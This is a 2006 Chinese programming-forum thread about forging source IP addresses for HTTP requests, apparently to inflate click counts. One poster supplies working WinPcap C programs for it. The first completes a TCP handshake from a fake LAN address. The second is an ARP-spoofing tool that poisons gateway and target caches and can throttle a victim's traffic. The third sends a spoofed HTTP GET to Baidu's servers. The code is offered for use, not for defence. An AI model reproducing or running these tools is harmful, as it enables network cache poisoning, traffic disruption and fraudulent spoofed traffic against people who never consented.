新贴继续伪装IP访问的问题~~~
先感谢Analyst() 给的地址 https://www.xfocus.net/bbs/index.php?act=ST&f=3&t=37431&page=1
然后继续自己的问题:怎么在三次握手的同时,将系统自动返回的RST换成ACK
如果不能,那么怎么实现自写IP头TCP头,访问HTTP呢
直接发送 IPHeader+TCPHeader+HttpRequest 这样服务器根本不理
好像还是要先发SYN建立连接才行,但是系统得到SYN+ACK后就自动回复RST了,就不能自己处理这个过程么?
问题点数:100、回复次数:26Top
1 楼Analyst()回复于 2006-07-27 23:02:14 得分 10
唯一的办法就是自己实现TCP/IP协议栈,这个在系统的驱动层,windows上实现起来很困难,但Linux是开源的,你可以尝试自己修改内核。不过要伪造IP也是mission impossible的事情。反过来想想要是TCP连接能够随意伪造IP,那internet岂不是太不安全了?Top
2 楼flyingakain(夜猫儿)回复于 2006-07-28 01:04:09 得分 0
设计了一个方法
就是用替代ws2_32.dll的方法,来取代现有的send函数,遇到SYN+ACK就把RST替换成ACK
wsock32.dll的替代我倒是做过~~,ws2_32.dll就不知道成不成了
高手给说说Top
3 楼flyingakain(夜猫儿)回复于 2006-07-28 09:10:36 得分 0
顶Top
4 楼flyingakain(夜猫儿)回复于 2006-08-01 16:55:44 得分 0
upTop
5 楼husheng34(随意生活)回复于 2006-08-02 09:34:43 得分 80
用伪装IP提高点击率?
直接用一个不存在的IP,延迟一段时间,发送三个包握手,
服务器序列号,可以通过局域网,甚至本地获得,本机连对方回应包都没收到,
就不会发RST了...Top
6 楼baojian88888(机器人)回复于 2006-08-02 10:08:40 得分 10
想实现三次握手是可以的。要禁止那个系统自动回复的RST,可以用Nids中间层驱动来实现
想实现IP欺骗,个人觉得是不可能的。因为如果在发起连接的SYN包中指定了一个假的IP(非自己),那么就应该收不到对方的SYN+ACK包,也就得不到对方的seq号,就没办法回复ack=seq+1,这样连三次握手都不能完成,更不用说发送后面的TCP数据了。---个人分析,希望高手指正。Top
7 楼husheng34(随意生活)回复于 2006-08-02 10:12:30 得分 0
先发一个包过去得到当前sep,和往返时间,推测若干秒以后的seq号,发包,
如果是自己做弊,服务器是自己管的,伪装IP,成功率还是很高的!!Top
8 楼husheng34(随意生活)回复于 2006-08-02 11:53:19 得分 0
解决RST的问题了..用局域网内一个不存的IP,192.168.1.123 发syn,同时发arp欺骗,
告诉网关,192.168.1.123的MAC地址是本机,
发送syn后,收到回应,而且本地不会发RST,
正在实验,完成剩下的握手.Top
9 楼husheng34(随意生活)回复于 2006-08-02 15:42:47 得分 0
三次握手成功实现...服务器上用命令netstat -n 可以看到连接..
#include "pcap.h"
//===============常量申明===================================
#define ETH_IP 0x0008 //以下所有数都是网络字节序
//=========数据包结构申明========================
typedef struct IP_Address //32位的IP地址
{
u_char byte1;
u_char byte2;
u_char byte3;
u_char byte4;
}IP_Address;
typedef struct Mac_Address //48位的MAC地址
{
u_char byte1;
u_char byte2;
u_char byte3;
u_char byte4;
u_char byte5;
u_char byte6;
}Mac_Address;
typedef struct IP_Header //IP 首部
{
Mac_Address DMac; //(1)48位目MAC地址
Mac_Address SMac; //(2)48位源MAC地址
u_short PType; //(3)16位协议类型
u_char Ver_ihl; //(1)4位首部长度+4位IP版本号
u_char Tos; //(2)8位服务类型TOS
u_short Tlen; //(3)16位总长度(字节)
u_short Identification; //(4)16位标识
u_short Flags_fo; //(5)3位标志位+13位片偏移
u_char Ttl; //(6)8位生存时间 TTL
u_char Proto; //(7)8位协议 (TCP, UDP 或其他)
u_short Crc; //(8)16位IP首部校验和
IP_Address Saddr; //(9)32位源IP地址
IP_Address Daddr; //(10)32位目的IP地址
}IP_Header;
typedef struct TCP_Header //定义TCP首部
{
u_short Sport; //(1)16位源端口
u_short Dport; //(2)16位目的端口
u_int Seq; //(3)32位序列号
u_int Ack; //(4)32位确认号
u_char Lenres; //(5)4位首部长度/6位保留字
u_char Flag; //(6)6位标志位
u_short Win; //(7)16位窗口大小
u_short Crc; //(8)16位校验和
u_short Urp; //(9)16位紧急数据偏移量
} TCP_Header;
typedef struct TCPCRC_Header //TCPCRC伪头
{
IP_Address Saddr; //(9)32位源IP地址
IP_Address Daddr; //(10)32位目的IP地址
u_char mbz;//置空 //8
u_char ptcl; //协议类型 //8
u_short tcpl; //TCP长度 //16
}TCPCRC_Header;
//-------------结束------------------------
//==============函数申明==========================
//--------------crc--------------------------
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1)
{
cksum+=*buffer++;
size-=sizeof(USHORT);
printf("%x-",cksum);
}
printf("/////%x-",cksum);
if(size)
cksum+=*(UCHAR*)buffer;
cksum=(cksum >> 16)+(cksum&0xffff);
cksum+=(cksum >>16);
printf("%x-",cksum);
printf("%x\n",~cksum);
return (USHORT)(~cksum);
}
USHORT checksumTCP(USHORT *buffer1, int size1,USHORT *buffer2, int size2)
{
unsigned long cksum=0;
while(size1 >1)
{
cksum+=*buffer1++;
size1-=sizeof(USHORT);
}
printf("\n%x-",cksum);
while(size2 >1)
{
cksum+=*buffer2++;
size2-=sizeof(USHORT);
}
printf("%x-",cksum);
cksum=(cksum >> 16)+(cksum&0xffff);
cksum+=(cksum >>16);
return (USHORT)(~cksum);
}
//==================================
int main()
{
pcap_if_t *alldevs;
char errbuf[PCAP_ERRBUF_SIZE];
pcap_t *adhandle; //设备句柄
u_char Buff[1024]; //发送Buff
const u_char *BuffFilt;
u_char temp[12]; //伪TCP头
int res ;
struct pcap_pkthdr *header ;//返回包结构
pcap_findalldevs(&alldevs, errbuf);
alldevs = alldevs->next;
if ( (adhandle= pcap_open_live(alldevs->name, // 设备名称
65536, // 缓冲大小.
1, // 混杂模式
1000, // 读超时为1秒
errbuf // error buffer
) ) == NULL)
return -1; //错误返回-1
IP_Header *IPH;
TCP_Header *TCPH;
TCPCRC_Header *CRCH;
IP_Header *IPHFilt;
TCP_Header *TCPHFilt;
IPH = (IP_Header *) Buff;
TCPH = (TCP_Header *) (Buff+34);
CRCH = (TCPCRC_Header *)temp;
IPH->DMac.byte1 = 0x00 ; IPH->DMac.byte2 = 0x0a ; IPH->DMac.byte3 = 0xeb ;
IPH->DMac.byte4 = 0x3e ; IPH->DMac.byte5 = 0xbe ; IPH->DMac.byte6 = 0x52 ;
IPH->SMac.byte1 = 0x00 ; IPH->SMac.byte2 = 0x13 ; IPH->SMac.byte3 = 0x8f ;
IPH->SMac.byte4 = 0x5f ; IPH->SMac.byte5 = 0xce ; IPH->SMac.byte6 = 0xa1 ;
IPH->PType = 0x0008;
IPH->Ver_ihl = 0x45 ;
IPH->Tos = 0;
IPH->Tlen = 0x2800 ; //最小IP包总长度40,最小包长度64-14(二层长度)-4(物理层长度) = 46 ,多出的6字节0填充
IPH->Identification = 100 ;
IPH->Flags_fo = 0x0040;
IPH->Ttl = 255;
IPH->Proto = 0x06;
IPH->Crc = 0 ;
IPH->Saddr.byte1 = 192 ; IPH->Saddr.byte2 = 168 ; IPH->Saddr.byte3 = 1 ; IPH->Saddr.byte4 = 123 ;
IPH->Daddr.byte1 = 192 ; IPH->Daddr.byte2 = 168 ; IPH->Daddr.byte3 = 1 ; IPH->Daddr.byte4 = 251 ;
IPH->Crc = checksum((USHORT *)(Buff+14),20);
TCPH->Sport = 0x5000;
TCPH->Dport = 0x5000;
TCPH->Seq = 0x01000000;
TCPH->Ack = 0;
TCPH->Lenres = 0x50;
TCPH->Flag = 0x02;
TCPH->Win = 0xffff;
TCPH->Crc = 0 ;
TCPH->Urp = 0;
CRCH->Daddr = IPH->Daddr ; CRCH->Saddr = IPH->Saddr ;
CRCH->mbz = 0 ;
CRCH->ptcl = 0x06;
CRCH->tcpl = 0x1400 ;
TCPH->Crc = checksumTCP((USHORT *)(Buff+34),20,(USHORT *)temp,12);
printf("%d",pcap_sendpacket(adhandle, // Adapter
Buff, // buffer with the packet
54 // size
));
while((res = pcap_next_ex( adhandle, &header, &BuffFilt)) >= 0)
{
if(res == 0) continue;
IPHFilt = (IP_Header *) BuffFilt;
TCPHFilt = (TCP_Header *) (BuffFilt+34);
if( IPHFilt->PType == 0x0008 && IPHFilt->Proto == 0x06 &&
IPHFilt->Saddr.byte1 == 192 &&
IPHFilt->Saddr.byte2 == 168 &&
IPHFilt->Saddr.byte3 == 1 &&
IPHFilt->Saddr.byte4 == 251 &&
TCPHFilt->Ack == 0x02000000
)
{
printf("%x-%d.%d.%d.%d \n",TCPHFilt->Sport,IPHFilt->Saddr.byte1,IPHFilt->Saddr.byte2,IPHFilt->Saddr.byte3,IPHFilt->Saddr.byte4);
TCPH->Flag = 0x10;
TCPH->Seq = 0x02000000;
TCPH->Ack = TCPHFilt->Seq+0x1000000;
TCPH->Crc = 0 ;
TCPH->Crc = checksumTCP((USHORT *)(Buff+34),20,(USHORT *)temp,12);
printf("%d",pcap_sendpacket(adhandle, // Adapter
Buff, // buffer with the packet
54 // size
));
TCPH->Flag = 0x18;
TCPH->Crc = 0 ;
TCPH->Crc = checksumTCP((USHORT *)(Buff+34),20,(USHORT *)temp,12);
printf("%d",pcap_sendpacket(adhandle, // Adapter
Buff, // buffer with the packet
54 // size
));
}
}
}Top
10 楼freebird001(自由鸟)回复于 2006-08-04 11:23:01 得分 0
markTop
11 楼flyingakain(夜猫儿)回复于 2006-08-04 16:46:47 得分 0
这个好,晚上试试
网上找来的fxfilthook这个例子,编译成功,ipfilterdriver开了,注册表也改了,可就是不能用
net start fxfilthook
系统发生 123 错误。
文件名、目录名或卷标语法不正确。
哪位大哥弄成功了?
Top
12 楼husheng34(随意生活)回复于 2006-08-05 11:55:22 得分 0
不用hook这样麻烦吧,到底还是不同的人想法不一样,
程序员首先想的就是用hook,我学网络的,想到是用IP地址欺骗Top
13 楼husheng34(随意生活)回复于 2006-08-05 11:57:38 得分 0
记得用IP地址欺骗,不然会回RST的,
/*
用局域网内一个不存的IP,192.168.1.123 发syn,同时发arp欺骗,
告诉网关,192.168.1.123的MAC地址是本机,
发送syn后,收到回应,而且本地不会发RST,
正在实验,完成剩下的握手*/
Top
14 楼flyingakain(夜猫儿)回复于 2006-08-05 23:32:15 得分 0
用了你的代码,除了改相应的MAC和IP还有别的么?
为什么我编译后不成功呢,怪了
继续调试中~~Top
15 楼husheng34(随意生活)回复于 2006-08-07 09:06:00 得分 0
出的什么错,在vs2005+win2003+WpdPack_3_2 下通过Top
16 楼fima(肥马)回复于 2006-08-07 09:08:42 得分 0
upTop
17 楼flyingakain(夜猫儿)回复于 2006-08-07 17:26:20 得分 0
调试通了,被访问端也可以看到ip,但是对应的mac不对 ,00-00-00-00-00-00
另外我打算再发送一个http request,怎么做?winpcap没用过Top
18 楼husheng34(随意生活)回复于 2006-08-08 08:59:38 得分 0
全0是ARP包找不到对应的IP的地址,要发起ARP欺骗,就知道这里有问题....
/*
用局域网内一个不存的IP,192.168.1.123 发syn,同时发arp欺骗,
告诉网关,192.168.1.123的MAC地址是本机,
发送syn后,收到回应,而且本地不会发RST,
正在实验,完成剩下的握手*/
Top
19 楼husheng34(随意生活)回复于 2006-08-08 09:00:33 得分 0
#include "pcap.h"
/* prototype of the packet handler */
void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data);
main()
{
pcap_if_t *alldevs;
pcap_if_t *d;
int inum;
int i=0;
int speed=0;
pcap_t *adhandle;
char errbuf[PCAP_ERRBUF_SIZE];
u_char packet_True[42];
u_char packet_False[42];
/* Retrieve the device list */
if(pcap_findalldevs(&alldevs, errbuf) == -1)
{
fprintf(stderr,"设备打开错误: %s\n", errbuf);
exit(1);
}
/* Print the list */
for(d=alldevs; d; d=d->next)
{
printf("%d. %s \n", ++i, d->description);
if (d->description)
;
else
printf(" (没有发现有效的网卡)\n");
}
if(i==0)
{
printf("\n没有发现网卡!请查检是否安装 WinPcap 驱动.\n");
return -1;
}
printf("请选择网卡 (1-%d):",i);
scanf("%d", &inum);
if(inum < 1 || inum > i)
{
printf("\n错误的网卡选择.\n");
/* Free the device list */
pcap_freealldevs(alldevs);
return -1;
}
/* Jump to the selected adapter */
for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);
/* Open the device */
/* Open the adapter */
if ((adhandle= pcap_open_live(d->name, // name of the device
65536, // portion of the packet to capture.
// 65536 grants that the whole packet will be captured on all the MACs.
1, // promiscuous mode (nonzero means promiscuous)
1000, // read timeout
errbuf // error buffer
)) == NULL)
{
fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name);
/* Free the device list */
pcap_freealldevs(alldevs);
return -1;
}
//以上代码打开网卡===================================================
//接收用户输入
C_3Layer_Arp Arp_True;
C_3Layer_Arp Arp_False;
u_char D_MAC[6],S_MAC[6],D_IP[4],S_IP[4];
//D_MAC
printf("目标MAC地址,如 00-13-8F-5F-CE-A1 \n");
scanf("%x-%x-%x-%x-%x-%x", D_MAC,D_MAC+1,D_MAC+2,D_MAC+3,D_MAC+4,D_MAC+5);
printf("目标IP地址 如 192.168.1.155 \n");
scanf("%d.%d.%d.%d", D_IP,D_IP+1,D_IP+2,D_IP+3);
printf("网关MAC地址 如 00-13-8F-5F-CE-A1 \n");
scanf("%x-%x-%x-%x-%x-%x", S_MAC,S_MAC+1,S_MAC+2,S_MAC+3,S_MAC+4,S_MAC+5);
printf("网关IP地址 如 192.168.1.1 \n");
scanf("%d.%d.%d.%d", S_IP,S_IP+1,S_IP+2,S_IP+3);
printf("限速比例(1-50),越大速度越快,大于30,几乎没影响,低于10速度平方递减\n");
scanf("%d",&speed);
//=========================
for(i=0;i<6;i++)
{
Arp_True.DestinationMac[i]=D_MAC[i];
Arp_True.SourceMac[i]=S_MAC[i];
Arp_False.DestinationMac[i]=D_MAC[i];
Arp_False.SourceMac[i]=1;
}
for(i=0;i<4;i++)
{
Arp_True.Target_Internet_Addr[i]=D_IP[i];
Arp_True.Send_Internet_Addr[i]=S_IP[i];
Arp_False.Target_Internet_Addr[i]=D_IP[i];
Arp_False.Send_Internet_Addr[i]=S_IP[i];
}
Arp_True.Get_Data(packet_True);
Arp_False.Get_Data(packet_False);
while(1)
{
for(i=0;i<speed;i++)
{
Sleep(100);
pcap_sendpacket(adhandle, // Adapter
packet_True, // buffer with the packet
42 // size
);
};
if(speed<10)
for(i=10;i>speed;i--)
{
Sleep(100);
pcap_sendpacket(adhandle, // Adapter
packet_False, // buffer with the packet
42 // size
);
}
Sleep(100);
pcap_sendpacket(adhandle, // Adapter
packet_False, // buffer with the packet
42 // size
);
}
pcap_close(adhandle);
return 0;
}
Top
20 楼husheng34(随意生活)回复于 2006-08-08 09:09:03 得分 0
上面是ARP的代码,交替发送正确和错误的ARP包,
要改一下才能用的,或速度打到50,也一样.
发送HTTP请示,握手成功以后在发一个包,
TCP以后的数据就是接的HTTP协议,自己填数据,找不到HTTP的中文RFC,
没建好对应的数据结构.还有数据层以上的CRC记算好像有问题,
我TCP长度写成20,不计算HTTP的数据好像CRC也是正确的,抓包软件看的,
但RFC上说要计算数据层的CRC,不知道为什么啊.....奇怪中,可能是我程序问题,在试试
记得对服务器用ARP欺骗,不然服务器找到对应的MAC,就会全0的,
Top
21 楼templarzq(原谅我这一生不羁放纵爱自由,也会怕有一天会跌倒)回复于 2006-08-08 14:14:27 得分 0
markTop
22 楼husheng34(随意生活)回复于 2006-08-08 15:47:15 得分 0
可以请求网页了,www.baidu.com,用sinffer可以看到回过来的包,请求成功
#include "pcap.h"
//===============常量申明===================================
#define ETH_IP 0x0008 //以下所有数都是网络字节序
//=========数据包结构申明========================
typedef struct IP_Address //32位的IP地址
{
u_char byte1;
u_char byte2;
u_char byte3;
u_char byte4;
}IP_Address;
typedef struct Mac_Address //48位的MAC地址
{
u_char byte1;
u_char byte2;
u_char byte3;
u_char byte4;
u_char byte5;
u_char byte6;
}Mac_Address;
typedef struct IP_Header //IP 首部
{
Mac_Address DMac; //(1)48位目MAC地址
Mac_Address SMac; //(2)48位源MAC地址
u_short PType; //(3)16位协议类型
u_char Ver_ihl; //(1)4位首部长度+4位IP版本号
u_char Tos; //(2)8位服务类型TOS
u_short Tlen; //(3)16位总长度(字节)
u_short Identification; //(4)16位标识
u_short Flags_fo; //(5)3位标志位+13位片偏移
u_char Ttl; //(6)8位生存时间 TTL
u_char Proto; //(7)8位协议 (TCP, UDP 或其他)
u_short Crc; //(8)16位IP首部校验和
IP_Address Saddr; //(9)32位源IP地址
IP_Address Daddr; //(10)32位目的IP地址
}IP_Header;
typedef struct TCP_Header //定义TCP首部
{
u_short Sport; //(1)16位源端口
u_short Dport; //(2)16位目的端口
u_int Seq; //(3)32位序列号
u_int Ack; //(4)32位确认号
u_char Lenres; //(5)4位首部长度/6位保留字
u_char Flag; //(6)6位标志位
u_short Win; //(7)16位窗口大小
u_short Crc; //(8)16位校验和
u_short Urp; //(9)16位紧急数据偏移量
} TCP_Header;
typedef struct TCPCRC_Header //TCPCRC伪头
{
IP_Address Saddr; //(9)32位源IP地址
IP_Address Daddr; //(10)32位目的IP地址
u_char mbz;//置空 //8
u_char ptcl; //协议类型 //8
u_short tcpl; //TCP长度 //16
}TCPCRC_Header;
//-------------结束------------------------
//==============函数申明==========================
//--------------crc--------------------------
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1)
{
cksum+=*buffer++;
size-=sizeof(USHORT);
}
if(size)
cksum+=*(UCHAR*)buffer;
cksum=(cksum >> 16)+(cksum&0xffff);
cksum+=(cksum >>16);
return (USHORT)(~cksum);
}
USHORT checksumTCP(USHORT *buffer1, int size1,USHORT *buffer2, int size2)
{
unsigned long cksum=0;
while(size1 >=1)
{
cksum+=*buffer1++;
size1-=sizeof(USHORT);
}
while(size2 >=1)
{
cksum+=*buffer2++;
size2-=sizeof(USHORT);
}
cksum=(cksum >> 16)+(cksum&0xffff);
cksum+=(cksum >>16);
return (USHORT)(~cksum);
}
//==================================
int main()
{
int ack = 1 ;
int OutTime = 3 ; //超时值,单位秒,不准确
int seconds;;//此函数会返回从公元1970年1月1日的UTC时间从0时0分0秒算起到现在所经过的秒数
pcap_if_t *alldevs;
char errbuf[PCAP_ERRBUF_SIZE];
pcap_t *adhandle; //设备句柄
u_char Buff[1024]; //发送Buff
memset(&Buff[0],0,1024);
const u_char *BuffFilt;
u_char temp[12]; //伪TCP头
u_char *data ;
int res ;
u_char http[] = {"GET / HTTP/1.1\r\nAccept: */*\r\nAccept-Language: zh-cn\r\nUA-CPU: x86\r\nAccept-Encoding: gzip, deflate\r\nIf-Modified-Since: Sat, 05 Aug 2006 11:01:00 GMT\r\nIf-None-Match: \x22lcclba-aad-44d47a6c\x22\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\nHost: www.baidu.com\r\nConnection: Keep-Alive\r\nCookie: BAIDUID=8F8FC2A626FDE886CA93F7C3A913CD9B\r\n\r\n"};
memcpy(Buff+54,http,400);
struct pcap_pkthdr *header ;//返回包结构
pcap_findalldevs(&alldevs, errbuf);
alldevs = alldevs->next;
if ( (adhandle= pcap_open_live(alldevs->name, // 设备名称
65536, // 缓冲大小.
1, // 混杂模式
1000, // 读超时为1秒
errbuf // error buffer
) ) == NULL)
return -1; //错误返回-1
IP_Header *IPH;
TCP_Header *TCPH;
TCPCRC_Header *CRCH;
IP_Header *IPHFilt;
TCP_Header *TCPHFilt;
IPH = (IP_Header *) Buff;
TCPH = (TCP_Header *) (Buff+34);
//========================data==================
//===========================
CRCH = (TCPCRC_Header *)temp;
IPH->DMac.byte1 = 0x00 ; IPH->DMac.byte2 = 0x14 ; IPH->DMac.byte3 = 0x78 ;
IPH->DMac.byte4 = 0xa3 ; IPH->DMac.byte5 = 0x2a ; IPH->DMac.byte6 = 0x22 ;
IPH->SMac.byte1 = 0x00 ; IPH->SMac.byte2 = 0x13 ; IPH->SMac.byte3 = 0x8f ;
IPH->SMac.byte4 = 0x5f ; IPH->SMac.byte5 = 0xce ; IPH->SMac.byte6 = 0xa1 ;
IPH->PType = 0x0008;
IPH->Ver_ihl = 0x45 ;
IPH->Tos = 0;
IPH->Tlen = 0x2800 ; //最小IP包总长度40,最小包长度64-14(二层长度)-4(物理层长度) = 46 ,多出的6字节0填充
IPH->Identification = 100 ;
IPH->Flags_fo = 0x0040;
IPH->Ttl = 255;
IPH->Proto = 0x06;
IPH->Crc = 0 ;
IPH->Saddr.byte1 = 192 ; IPH->Saddr.byte2 = 168 ; IPH->Saddr.byte3 = 1 ; IPH->Saddr.byte4 = 123 ;
IPH->Daddr.byte1 = 220 ; IPH->Daddr.byte2 = 181 ; IPH->Daddr.byte3 = 18 ; IPH->Daddr.byte4 = 165 ;
IPH->Crc = checksum((USHORT *)(Buff+14),20);
TCPH->Sport = 0x5200;
TCPH->Dport = 0x5000;
TCPH->Seq = 0x01000000;
TCPH->Ack = 0;
TCPH->Lenres = 0x50;
TCPH->Flag = 0x02;
TCPH->Win = 0xffff;
TCPH->Crc = 0 ;
TCPH->Urp = 0;
CRCH->Daddr = IPH->Daddr ; CRCH->Saddr = IPH->Saddr ;
CRCH->mbz = 0 ;
CRCH->ptcl = 0x06;
CRCH->tcpl = 0x1400 ;
u_short i = 6000 ;
/*while(1)*/{ seconds= time((time_t*)NULL);i++;TCPH->Sport = i ; TCPH->Flag = 0x02;IPH->Tlen = 0x2800;IPH->Crc = 0 ;IPH->Crc = checksum((USHORT *)(Buff+14),20); TCPH->Seq = 0x01000000;
TCPH->Crc = 0 ; TCPH->Crc = checksumTCP((USHORT *)(Buff+34),20,(USHORT *)temp,12);
pcap_sendpacket(adhandle, // Adapter
Buff, // buffer with the packet
54 // size
);
while((res = pcap_next_ex( adhandle, &header, &BuffFilt)) >= 0 && (seconds+OutTime) >= time((time_t*)NULL ) )
{
if(res == 0) continue;
IPHFilt = (IP_Header *) BuffFilt;
TCPHFilt = (TCP_Header *) (BuffFilt+34);
if( IPHFilt->PType == 0x0008 && IPHFilt->Proto == 0x06 &&
TCPHFilt->Ack == 0x02000000)
{
printf("%x-%d.%d.%d.%d \n",TCPHFilt->Sport,IPHFilt->Saddr.byte1,IPHFilt->Saddr.byte2,IPHFilt->Saddr.byte3,IPHFilt->Saddr.byte4);
TCPH->Flag = 0x10;
TCPH->Seq = 0x02000000;
TCPH->Ack = TCPHFilt->Seq+0x1000000;
TCPH->Crc = 0 ;
TCPH->Crc = checksumTCP((USHORT *)(Buff+34),20,(USHORT *)temp,12);
printf("%d",pcap_sendpacket(adhandle, // Adapter
Buff, // buffer with the packet
54 // size
));
//===================data============================================
IPH->Tlen = 0xaf01;
IPH->Crc = 0 ; IPH->Crc = checksum((USHORT *)(Buff+14),20);
TCPH->Flag = 0x18;
CRCH->tcpl = 0x9b01;
TCPH->Crc = 0 ;
TCPH->Crc = checksumTCP((USHORT *)(Buff+34),411,(USHORT *)temp,12);
pcap_sendpacket(adhandle, // Adapter
Buff, // buffer with the packet
445 // size
);
ack++;
printf("%d",ack);
}
}
}
}Top
23 楼flyingakain(夜猫儿)回复于 2006-08-10 01:12:29 得分 0
时间够长了,先结贴发分Top
24 楼husheng34(随意生活)回复于 2006-08-10 09:48:49 得分 0
哇,谢谢了,我靠的分穿上2裤头了Top
25 楼debugii()回复于 2006-10-16 17:36:33 得分 0
husheng34我按照你的第二段代码在WINDOWS下编译成功后,执行为什么没有反映?
编译环境VC6
用netstat -n也没见到有连接Top
26 楼debugii()回复于 2006-10-16 17:44:05 得分 0
上面打错了,是最后段代码Top




